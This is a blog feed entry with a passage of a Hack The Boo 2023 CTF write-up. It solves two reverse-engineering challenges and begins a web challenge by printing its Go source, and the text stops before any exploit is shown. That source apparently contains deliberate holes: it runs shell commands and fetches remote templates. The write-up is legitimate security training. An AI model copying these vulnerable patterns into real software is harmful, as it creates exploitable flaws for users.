<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://www.miguelxpn.com/feed.xml" rel="self" type="application/atom+xml" /><link href="http://www.miguelxpn.com/" rel="alternate" type="text/html" /><updated>2025-11-05T00:58:49+00:00</updated><id>http://www.miguelxpn.com/feed.xml</id><title type="html">Miguel Xavier Penha Neto</title><subtitle>Blog about programming and nerdy stuff.</subtitle><entry><title type="html">Hack The Boo 2023 - Writeups</title><link href="http://www.miguelxpn.com/security/2023/10/29/Hack-The-Boo-2023-Writeup.html" rel="alternate" type="text/html" title="Hack The Boo 2023 - Writeups" /><published>2023-10-29T01:36:25+00:00</published><updated>2023-10-29T01:36:25+00:00</updated><id>http://www.miguelxpn.com/security/2023/10/29/Hack-The-Boo-2023-Writeup</id><content type="html" xml:base="http://www.miguelxpn.com/security/2023/10/29/Hack-The-Boo-2023-Writeup.html"><![CDATA[<h2 id="hack-the-boo">Hack The Boo</h2>

<p>Hack The Boo 2023 was a CTF event held by <a href="https://ctf.hackthebox.com/">hackthebox</a>, I never really participated in any public CTF events but always wanted to try it.</p>

<p>In this post I’ll explain how I solved a few interesting challenges.</p>

<h2 id="spellbrewery">Spellbrewery</h2>

<p>This challenge was a reverse engineering one. It gave us a zip file with a Dotnet app and a DLL file. When executing the app you’d get a prompt like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. List Ingredients
2. Display Current Recipe
3. Add Ingredient
4. Brew Spell
5. Clear Recipe
6. Quit
</code></pre></div></div>

<p>The objective is to brew a spell with the correct ingredients, that should give us the flag. By brewing the spell with the wrong ingredients we get a error message and nothing else.</p>

<p>After some googling I found out that <a href="https://github.com/icsharpcode/ILSpy">ILSpy</a> might be a good tool to decompile Dotnet apps. After setting it up I managed to decompile the DLL. Inside it I found the implementation of the <code class="language-plaintext highlighter-rouge">brewSpell</code> method:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">BrewSpell</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">recipe</span><span class="p">.</span><span class="nf">get_Count</span><span class="p">()</span> <span class="p">&lt;</span> <span class="m">1</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"You can't brew with an empty cauldron"</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="n">Enumerable</span><span class="p">.</span><span class="n">ToArray</span><span class="p">&lt;</span><span class="kt">byte</span><span class="p">&gt;(</span><span class="n">Enumerable</span><span class="p">.</span><span class="n">Select</span><span class="p">&lt;</span><span class="n">Ingredient</span><span class="p">,</span> <span class="kt">byte</span><span class="p">&gt;((</span><span class="n">System</span><span class="p">.</span><span class="n">Collections</span><span class="p">.</span><span class="n">Generic</span><span class="p">.</span><span class="n">IEnumerable</span><span class="p">&lt;</span><span class="n">Ingredient</span><span class="p">&gt;)</span><span class="n">recipe</span><span class="p">,</span> <span class="p">(</span><span class="n">Func</span><span class="p">&lt;</span><span class="n">Ingredient</span><span class="p">,</span> <span class="kt">byte</span><span class="p">&gt;)((</span><span class="n">Ingredient</span> <span class="n">ing</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)(</span><span class="n">System</span><span class="p">.</span><span class="n">Array</span><span class="p">.</span><span class="n">IndexOf</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;(</span><span class="n">IngredientNames</span><span class="p">,</span> <span class="p">((</span><span class="kt">object</span><span class="p">)</span><span class="n">ing</span><span class="p">).</span><span class="nf">ToString</span><span class="p">())</span> <span class="p">+</span> <span class="m">32</span><span class="p">))));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">Enumerable</span><span class="p">.</span><span class="n">SequenceEqual</span><span class="p">&lt;</span><span class="n">Ingredient</span><span class="p">&gt;((</span><span class="n">System</span><span class="p">.</span><span class="n">Collections</span><span class="p">.</span><span class="n">Generic</span><span class="p">.</span><span class="n">IEnumerable</span><span class="p">&lt;</span><span class="n">Ingredient</span><span class="p">&gt;)</span><span class="n">recipe</span><span class="p">,</span> <span class="n">Enumerable</span><span class="p">.</span><span class="n">Select</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="n">Ingredient</span><span class="p">&gt;((</span><span class="n">System</span><span class="p">.</span><span class="n">Collections</span><span class="p">.</span><span class="n">Generic</span><span class="p">.</span><span class="n">IEnumerable</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">&gt;)</span><span class="n">correct</span><span class="p">,</span> <span class="p">(</span><span class="n">Func</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="n">Ingredient</span><span class="p">&gt;)((</span><span class="kt">string</span> <span class="n">name</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="k">new</span> <span class="nf">Ingredient</span><span class="p">(</span><span class="n">name</span><span class="p">)))))</span>
    <span class="p">{</span>
        <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"The spell is complete - your flag is: "</span> <span class="p">+</span> <span class="n">Encoding</span><span class="p">.</span><span class="nf">get_ASCII</span><span class="p">().</span><span class="nf">GetString</span><span class="p">(</span><span class="n">array</span><span class="p">));</span>
        <span class="n">Environment</span><span class="p">.</span><span class="nf">Exit</span><span class="p">(</span><span class="m">0</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"The cauldron bubbles as your ingredients melt away. Try another recipe."</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">correct</code> variable there looks suspicious, turns out it’s a constant that we can inspect in the decompiled DLL:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">static</span> <span class="k">readonly</span> <span class="kt">string</span><span class="p">[]</span> <span class="n">correct</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">string</span><span class="p">[</span><span class="m">36</span><span class="p">]</span>
<span class="p">{</span>
    <span class="s">"Phantom Firefly Wing"</span><span class="p">,</span> <span class="s">"Ghastly Gourd"</span><span class="p">,</span> <span class="s">"Hocus Pocus Powder"</span><span class="p">,</span> <span class="s">"Spider Sling Silk"</span><span class="p">,</span> <span class="s">"Goblin's Gold"</span><span class="p">,</span> <span class="s">"Wraith's Tear"</span><span class="p">,</span> <span class="s">"Werewolf Whisker"</span><span class="p">,</span> <span class="s">"Ghoulish Goblet"</span><span class="p">,</span> <span class="s">"Cursed Skull"</span><span class="p">,</span> <span class="s">"Dragon's Scale Shimmer"</span><span class="p">,</span>
    <span class="s">"Raven Feather"</span><span class="p">,</span> <span class="s">"Dragon's Scale Shimmer"</span><span class="p">,</span> <span class="s">"Zombie Zest Zest"</span><span class="p">,</span> <span class="s">"Ghoulish Goblet"</span><span class="p">,</span> <span class="s">"Werewolf Whisker"</span><span class="p">,</span> <span class="s">"Cursed Skull"</span><span class="p">,</span> <span class="s">"Dragon's Scale Shimmer"</span><span class="p">,</span> <span class="s">"Haunted Hay Bale"</span><span class="p">,</span> <span class="s">"Wraith's Tear"</span><span class="p">,</span> <span class="s">"Zombie Zest Zest"</span><span class="p">,</span>
    <span class="s">"Serpent Scale"</span><span class="p">,</span> <span class="s">"Wraith's Tear"</span><span class="p">,</span> <span class="s">"Cursed Crypt Key"</span><span class="p">,</span> <span class="s">"Dragon's Scale Shimmer"</span><span class="p">,</span> <span class="s">"Salamander's Tail"</span><span class="p">,</span> <span class="s">"Raven Feather"</span><span class="p">,</span> <span class="s">"Wolfsbane"</span><span class="p">,</span> <span class="s">"Frankenstein's Lab Liquid"</span><span class="p">,</span> <span class="s">"Zombie Zest Zest"</span><span class="p">,</span> <span class="s">"Cursed Skull"</span><span class="p">,</span>
    <span class="s">"Ghoulish Goblet"</span><span class="p">,</span> <span class="s">"Dragon's Scale Shimmer"</span><span class="p">,</span> <span class="s">"Cursed Crypt Key"</span><span class="p">,</span> <span class="s">"Wraith's Tear"</span><span class="p">,</span> <span class="s">"Black Cat's Meow"</span><span class="p">,</span> <span class="s">"Wraith Whisper"</span>
<span class="p">};</span>
</code></pre></div></div>

<p>After inputing that as the answer I got the flag!</p>

<h2 id="spookycheck">Spookycheck</h2>

<p>This one was also a reverse engineering challenge. It gave us a <code class="language-plaintext highlighter-rouge">check.pyc</code> file. In the Python world .pyc files are basically files with the compiled python bytecode, we can execute them as if they were a regular python script.</p>

<p>By running it we’d get the following prompt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🎃 Welcome to SpookyCheck 🎃
🎃 Enter your password for spooky evaluation 🎃
</code></pre></div></div>

<p>After some research I found out that there’s a module included with Python that can be used for disassembly. I wrote the following short script to spit out the disassembled bytecode:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">dis</span>
<span class="kn">import</span> <span class="nn">marshal</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'check.pyc'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">f</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
    <span class="n">dis</span><span class="p">.</span><span class="n">dis</span><span class="p">(</span><span class="n">marshal</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">f</span><span class="p">))</span>
</code></pre></div></div>

<p>Here’s the full disassembled code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  0           0 RESUME                   0

  1           2 LOAD_CONST               0 (b'SUP3RS3CR3TK3Y')
              4 STORE_NAME               0 (KEY)

  2           6 PUSH_NULL
              8 LOAD_NAME                1 (bytearray)
             10 LOAD_CONST               1 (b'\xe9\xef\xc0V\x8d\x8a\x05\xbe\x8ek\xd9yX\x8b\x89\xd3\x8c\xfa\xdexu\xbe\xdf1\xde\xb6\\')
             12 PRECALL                  1
             16 CALL                     1
             26 STORE_NAME               2 (CHECK)

  4          28 LOAD_CONST               2 (&lt;code object transform at 0x1004ea1f0, file "check.py", line 4&gt;)
             30 MAKE_FUNCTION            0
             32 STORE_NAME               3 (transform)

 10          34 LOAD_CONST               3 (&lt;code object check at 0x1004eaa60, file "check.py", line 10&gt;)
             36 MAKE_FUNCTION            0
             38 STORE_NAME               4 (check)

 13          40 LOAD_NAME                5 (__name__)
             42 LOAD_CONST               4 ('__main__')
             44 COMPARE_OP               2 (==)
             50 POP_JUMP_FORWARD_IF_FALSE    88 (to 228)

 14          52 PUSH_NULL
             54 LOAD_NAME                6 (print)
             56 LOAD_CONST               5 ('🎃 Welcome to SpookyCheck 🎃')
             58 PRECALL                  1
             62 CALL                     1
             72 POP_TOP

 15          74 PUSH_NULL
             76 LOAD_NAME                6 (print)
             78 LOAD_CONST               6 ('🎃 Enter your password for spooky evaluation 🎃')
             80 PRECALL                  1
             84 CALL                     1
             94 POP_TOP

 16          96 PUSH_NULL
             98 LOAD_NAME                7 (input)
            100 LOAD_CONST               7 ('👻 ')
            102 PRECALL                  1
            106 CALL                     1
            116 STORE_NAME               8 (inp)

 17         118 PUSH_NULL
            120 LOAD_NAME                4 (check)
            122 LOAD_NAME                8 (inp)
            124 LOAD_METHOD              9 (encode)
            146 PRECALL                  0
            150 CALL                     0
            160 PRECALL                  1
            164 CALL                     1
            174 POP_JUMP_FORWARD_IF_FALSE    13 (to 202)

 18         176 PUSH_NULL
            178 LOAD_NAME                6 (print)
            180 LOAD_CONST               8 ("🦇 Well done, you're spookier than most! 🦇")
            182 PRECALL                  1
            186 CALL                     1
            196 POP_TOP
            198 LOAD_CONST              10 (None)
            200 RETURN_VALUE

 20     &gt;&gt;  202 PUSH_NULL
            204 LOAD_NAME                6 (print)
            206 LOAD_CONST               9 ('💀 Not spooky enough, please try again later 💀')
            208 PRECALL                  1
            212 CALL                     1
            222 POP_TOP
            224 LOAD_CONST              10 (None)
            226 RETURN_VALUE

 13     &gt;&gt;  228 LOAD_CONST              10 (None)
            230 RETURN_VALUE

Disassembly of &lt;code object transform at 0x1004ea1f0, file "check.py", line 4&gt;:
  4           0 RESUME                   0

  5           2 LOAD_CONST               1 (&lt;code object &lt;listcomp&gt; at 0x100451f10, file "check.py", line 5&gt;)
              4 MAKE_FUNCTION            0

  7           6 LOAD_GLOBAL              1 (NULL + enumerate)
             18 LOAD_FAST                0 (flag)
             20 PRECALL                  1
             24 CALL                     1

  5          34 GET_ITER
             36 PRECALL                  0
             40 CALL                     0
             50 RETURN_VALUE

Disassembly of &lt;code object &lt;listcomp&gt; at 0x100451f10, file "check.py", line 5&gt;:
  5           0 RESUME                   0
              2 BUILD_LIST               0
              4 LOAD_FAST                0 (.0)
        &gt;&gt;    6 FOR_ITER                54 (to 116)

  7           8 UNPACK_SEQUENCE          2
             12 STORE_FAST               1 (i)
             14 STORE_FAST               2 (f)

  6          16 LOAD_FAST                2 (f)
             18 LOAD_CONST               0 (24)
             20 BINARY_OP                0 (+)
             24 LOAD_CONST               1 (255)
             26 BINARY_OP                1 (&amp;)
             30 LOAD_GLOBAL              0 (KEY)
             42 LOAD_FAST                1 (i)
             44 LOAD_GLOBAL              3 (NULL + len)
             56 LOAD_GLOBAL              0 (KEY)
             68 PRECALL                  1
             72 CALL                     1
             82 BINARY_OP                6 (%)
             86 BINARY_SUBSCR
             96 BINARY_OP               12 (^)
            100 LOAD_CONST               2 (74)
            102 BINARY_OP               10 (-)
            106 LOAD_CONST               1 (255)
            108 BINARY_OP                1 (&amp;)

  5         112 LIST_APPEND              2
            114 JUMP_BACKWARD           55 (to 6)
        &gt;&gt;  116 RETURN_VALUE

Disassembly of &lt;code object check at 0x1004eaa60, file "check.py", line 10&gt;:
 10           0 RESUME                   0

 11           2 LOAD_GLOBAL              1 (NULL + transform)
             14 LOAD_FAST                0 (flag)
             16 PRECALL                  1
             20 CALL                     1
             30 LOAD_GLOBAL              2 (CHECK)
             42 COMPARE_OP               2 (==)
             48 RETURN_VALUE
</code></pre></div></div>

<p>A few pieces stand out, first we have those two constants called <code class="language-plaintext highlighter-rouge">KEY</code> and <code class="language-plaintext highlighter-rouge">CHECK</code>.</p>

<p>There’s also a function called <code class="language-plaintext highlighter-rouge">transform</code>, with a parameter called flag that uses a list comprehension inside it, the list comprehension, seems like it’s iterating over the flag variable and transforming it by doing a bunch of operations with some using the <code class="language-plaintext highlighter-rouge">KEY</code> constant. After all that there’s a <code class="language-plaintext highlighter-rouge">check</code> function that calls transform over the <code class="language-plaintext highlighter-rouge">flag</code> variable and then checks it against the <code class="language-plaintext highlighter-rouge">CHECK</code> constant.</p>

<p>That seems to indicate that the <code class="language-plaintext highlighter-rouge">CHECK</code> constant has the encrypted flag, and it is encrypted using the <code class="language-plaintext highlighter-rouge">KEY</code> constant. So to get the flag we probably have to reverse the process. Here I decided to cheat a bit, I never laid eyes on Python bytecode before, but it all seemed rather structured and relatively higher leveled, so I wondered, if I give ChatGPT the bytecode for the transform function and the list comprehension, could it write me a script to reverse the process? Turns out it could, and here’s what it wrote:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">KEY</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'SUP3RS3CR3TK3Y'</span>
<span class="n">CHECK</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe9\xef\xc0</span><span class="s">V</span><span class="se">\x8d\x8a\x05\xbe\x8e</span><span class="s">k</span><span class="se">\xd9</span><span class="s">yX</span><span class="se">\x8b\x89\xd3\x8c\xfa\xde</span><span class="s">xu</span><span class="se">\xbe\xdf</span><span class="s">1</span><span class="se">\xde\xb6\\</span><span class="s">'</span>

<span class="k">def</span> <span class="nf">reverse_transform</span><span class="p">(</span><span class="n">byte_val</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
    <span class="c1"># Add 74
</span>    <span class="n">byte_val</span> <span class="o">+=</span> <span class="mi">74</span>
    <span class="c1"># XOR with the byte from KEY
</span>    <span class="n">byte_val</span> <span class="o">^=</span> <span class="n">KEY</span><span class="p">[(</span><span class="n">index</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">KEY</span><span class="p">))</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">KEY</span><span class="p">)]</span>
    <span class="c1"># Subtract 24
</span>    <span class="n">byte_val</span> <span class="o">-=</span> <span class="mi">24</span>
    <span class="c1"># Ensure it remains a byte value
</span>    <span class="n">byte_val</span> <span class="o">&amp;=</span> <span class="mi">255</span>
    <span class="k">return</span> <span class="n">byte_val</span>

<span class="n">original_input</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">byte_val</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">CHECK</span><span class="p">):</span>
    <span class="n">original_input</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">reverse_transform</span><span class="p">(</span><span class="n">byte_val</span><span class="p">,</span> <span class="n">i</span><span class="p">))</span>

<span class="k">print</span><span class="p">(</span><span class="n">original_input</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<p>It worked on the first try and I got the flag! Thanks ChatGPT!</p>

<h2 id="ghostly-templates">Ghostly Templates</h2>

<p>This was a web challenge. They gave us a Golang app that looks like this:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
	<span class="s">"encoding/json"</span>
	<span class="s">"fmt"</span>
	<span class="s">"html/template"</span>
	<span class="s">"io"</span>
	<span class="s">"net/http"</span>
	<span class="s">"os"</span>
	<span class="s">"os/exec"</span>
	<span class="s">"path/filepath"</span>
	<span class="s">"strings"</span>
<span class="p">)</span>

<span class="k">const</span> <span class="n">WEB_PORT</span> <span class="o">=</span> <span class="s">"1337"</span>
<span class="k">const</span> <span class="n">TEMPLATE_DIR</span> <span class="o">=</span> <span class="s">"./templates"</span>

<span class="k">type</span> <span class="n">LocationInfo</span> <span class="k">struct</span> <span class="p">{</span>
	<span class="n">Status</span>      <span class="kt">string</span>  <span class="s">`json:"status"`</span>
	<span class="n">Country</span>     <span class="kt">string</span>  <span class="s">`json:"country"`</span>
	<span class="n">CountryCode</span> <span class="kt">string</span>  <span class="s">`json:"countryCode"`</span>
	<span class="n">Region</span>      <span class="kt">string</span>  <span class="s">`json:"region"`</span>
	<span class="n">RegionName</span>  <span class="kt">string</span>  <span class="s">`json:"regionName"`</span>
	<span class="n">City</span>        <span class="kt">string</span>  <span class="s">`json:"city"`</span>
	<span class="n">Zip</span>         <span class="kt">string</span>  <span class="s">`json:"zip"`</span>
	<span class="n">Lat</span>         <span class="kt">float64</span> <span class="s">`json:"lat"`</span>
	<span class="n">Lon</span>         <span class="kt">float64</span> <span class="s">`json:"lon"`</span>
	<span class="n">Timezone</span>    <span class="kt">string</span>  <span class="s">`json:"timezone"`</span>
	<span class="n">ISP</span>         <span class="kt">string</span>  <span class="s">`json:"isp"`</span>
	<span class="n">Org</span>         <span class="kt">string</span>  <span class="s">`json:"org"`</span>
	<span class="n">AS</span>          <span class="kt">string</span>  <span class="s">`json:"as"`</span>
	<span class="n">Query</span>       <span class="kt">string</span>  <span class="s">`json:"query"`</span>
<span class="p">}</span>

<span class="k">type</span> <span class="n">MachineInfo</span> <span class="k">struct</span> <span class="p">{</span>
	<span class="n">Hostname</span>      <span class="kt">string</span>
	<span class="n">OS</span>            <span class="kt">string</span>
	<span class="n">KernelVersion</span> <span class="kt">string</span>
	<span class="n">Memory</span>        <span class="kt">string</span>
<span class="p">}</span>

<span class="k">type</span> <span class="n">RequestData</span> <span class="k">struct</span> <span class="p">{</span>
	<span class="n">ClientIP</span>     <span class="kt">string</span>
	<span class="n">ClientUA</span>     <span class="kt">string</span>
	<span class="n">ServerInfo</span>   <span class="n">MachineInfo</span>
	<span class="n">ClientIpInfo</span> <span class="n">LocationInfo</span> <span class="s">`json:"location"`</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">GetServerInfo</span><span class="p">(</span><span class="n">command</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">string</span> <span class="p">{</span>
	<span class="n">out</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">exec</span><span class="o">.</span><span class="n">Command</span><span class="p">(</span><span class="s">"sh"</span><span class="p">,</span> <span class="s">"-c"</span><span class="p">,</span> <span class="n">command</span><span class="p">)</span><span class="o">.</span><span class="n">Output</span><span class="p">()</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">""</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="kt">string</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
<span class="p">}</span>

<span class="k">func</span> <span class="p">(</span><span class="n">p</span> <span class="n">RequestData</span><span class="p">)</span> <span class="n">GetLocationInfo</span><span class="p">(</span><span class="n">endpointURL</span> <span class="kt">string</span><span class="p">)</span> <span class="p">(</span><span class="o">*</span><span class="n">LocationInfo</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">endpointURL</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="no">nil</span><span class="p">,</span> <span class="n">err</span>
	<span class="p">}</span>

	<span class="k">defer</span> <span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

	<span class="k">if</span> <span class="n">resp</span><span class="o">.</span><span class="n">StatusCode</span> <span class="o">!=</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusOK</span> <span class="p">{</span>
		<span class="k">return</span> <span class="no">nil</span><span class="p">,</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Errorf</span><span class="p">(</span><span class="s">"HTTP request failed with status code: %d"</span><span class="p">,</span> <span class="n">resp</span><span class="o">.</span><span class="n">StatusCode</span><span class="p">)</span>
	<span class="p">}</span>

	<span class="n">body</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">io</span><span class="o">.</span><span class="n">ReadAll</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="no">nil</span><span class="p">,</span> <span class="n">err</span>
	<span class="p">}</span>

	<span class="k">var</span> <span class="n">locationInfo</span> <span class="n">LocationInfo</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">json</span><span class="o">.</span><span class="n">Unmarshal</span><span class="p">(</span><span class="n">body</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">locationInfo</span><span class="p">);</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="no">nil</span><span class="p">,</span> <span class="n">err</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="o">&amp;</span><span class="n">locationInfo</span><span class="p">,</span> <span class="no">nil</span>
<span class="p">}</span>

<span class="k">func</span> <span class="p">(</span><span class="n">p</span> <span class="n">RequestData</span><span class="p">)</span> <span class="n">IsSubdirectory</span><span class="p">(</span><span class="n">basePath</span><span class="p">,</span> <span class="n">path</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">bool</span> <span class="p">{</span>
	<span class="n">rel</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">filepath</span><span class="o">.</span><span class="n">Rel</span><span class="p">(</span><span class="n">basePath</span><span class="p">,</span> <span class="n">path</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="no">false</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="o">!</span><span class="n">strings</span><span class="o">.</span><span class="n">HasPrefix</span><span class="p">(</span><span class="n">rel</span><span class="p">,</span> <span class="s">".."</span><span class="o">+</span><span class="kt">string</span><span class="p">(</span><span class="n">filepath</span><span class="o">.</span><span class="n">Separator</span><span class="p">))</span>
<span class="p">}</span>

<span class="k">func</span> <span class="p">(</span><span class="n">p</span> <span class="n">RequestData</span><span class="p">)</span> <span class="n">OutFileContents</span><span class="p">(</span><span class="n">filePath</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">string</span> <span class="p">{</span>
	<span class="n">data</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">os</span><span class="o">.</span><span class="n">ReadFile</span><span class="p">(</span><span class="n">filePath</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">()</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="kt">string</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">readRemoteFile</span><span class="p">(</span><span class="n">url</span> <span class="kt">string</span><span class="p">)</span> <span class="p">(</span><span class="kt">string</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">response</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">""</span><span class="p">,</span> <span class="n">err</span>
	<span class="p">}</span>

	<span class="k">defer</span> <span class="n">response</span><span class="o">.</span><span class="n">Body</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

	<span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">StatusCode</span> <span class="o">!=</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusOK</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">""</span><span class="p">,</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Errorf</span><span class="p">(</span><span class="s">"HTTP request failed with status code: %d"</span><span class="p">,</span> <span class="n">response</span><span class="o">.</span><span class="n">StatusCode</span><span class="p">)</span>
	<span class="p">}</span>

	<span class="n">content</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">io</span><span class="o">.</span><span class="n">ReadAll</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">Body</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">""</span><span class="p">,</span> <span class="n">err</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="kt">string</span><span class="p">(</span><span class="n">content</span><span class="p">),</span> <span class="no">nil</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">getIndex</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">http</span><span class="o">.</span><span class="n">Redirect</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="s">"/view?page=index.tpl"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusMovedPermanently</span><span class="p">)</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">getTpl</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">var</span> <span class="n">page</span> <span class="kt">string</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">URL</span><span class="o">.</span><span class="n">Query</span><span class="p">()</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"page"</span><span class="p">)</span>
	<span class="k">var</span> <span class="n">remote</span> <span class="kt">string</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">URL</span><span class="o">.</span><span class="n">Query</span><span class="p">()</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"remote"</span><span class="p">)</span>

	<span class="k">if</span> <span class="n">page</span> <span class="o">==</span> <span class="s">""</span> <span class="p">{</span>
		<span class="n">http</span><span class="o">.</span><span class="n">Error</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"Missing required parameters"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusBadRequest</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>

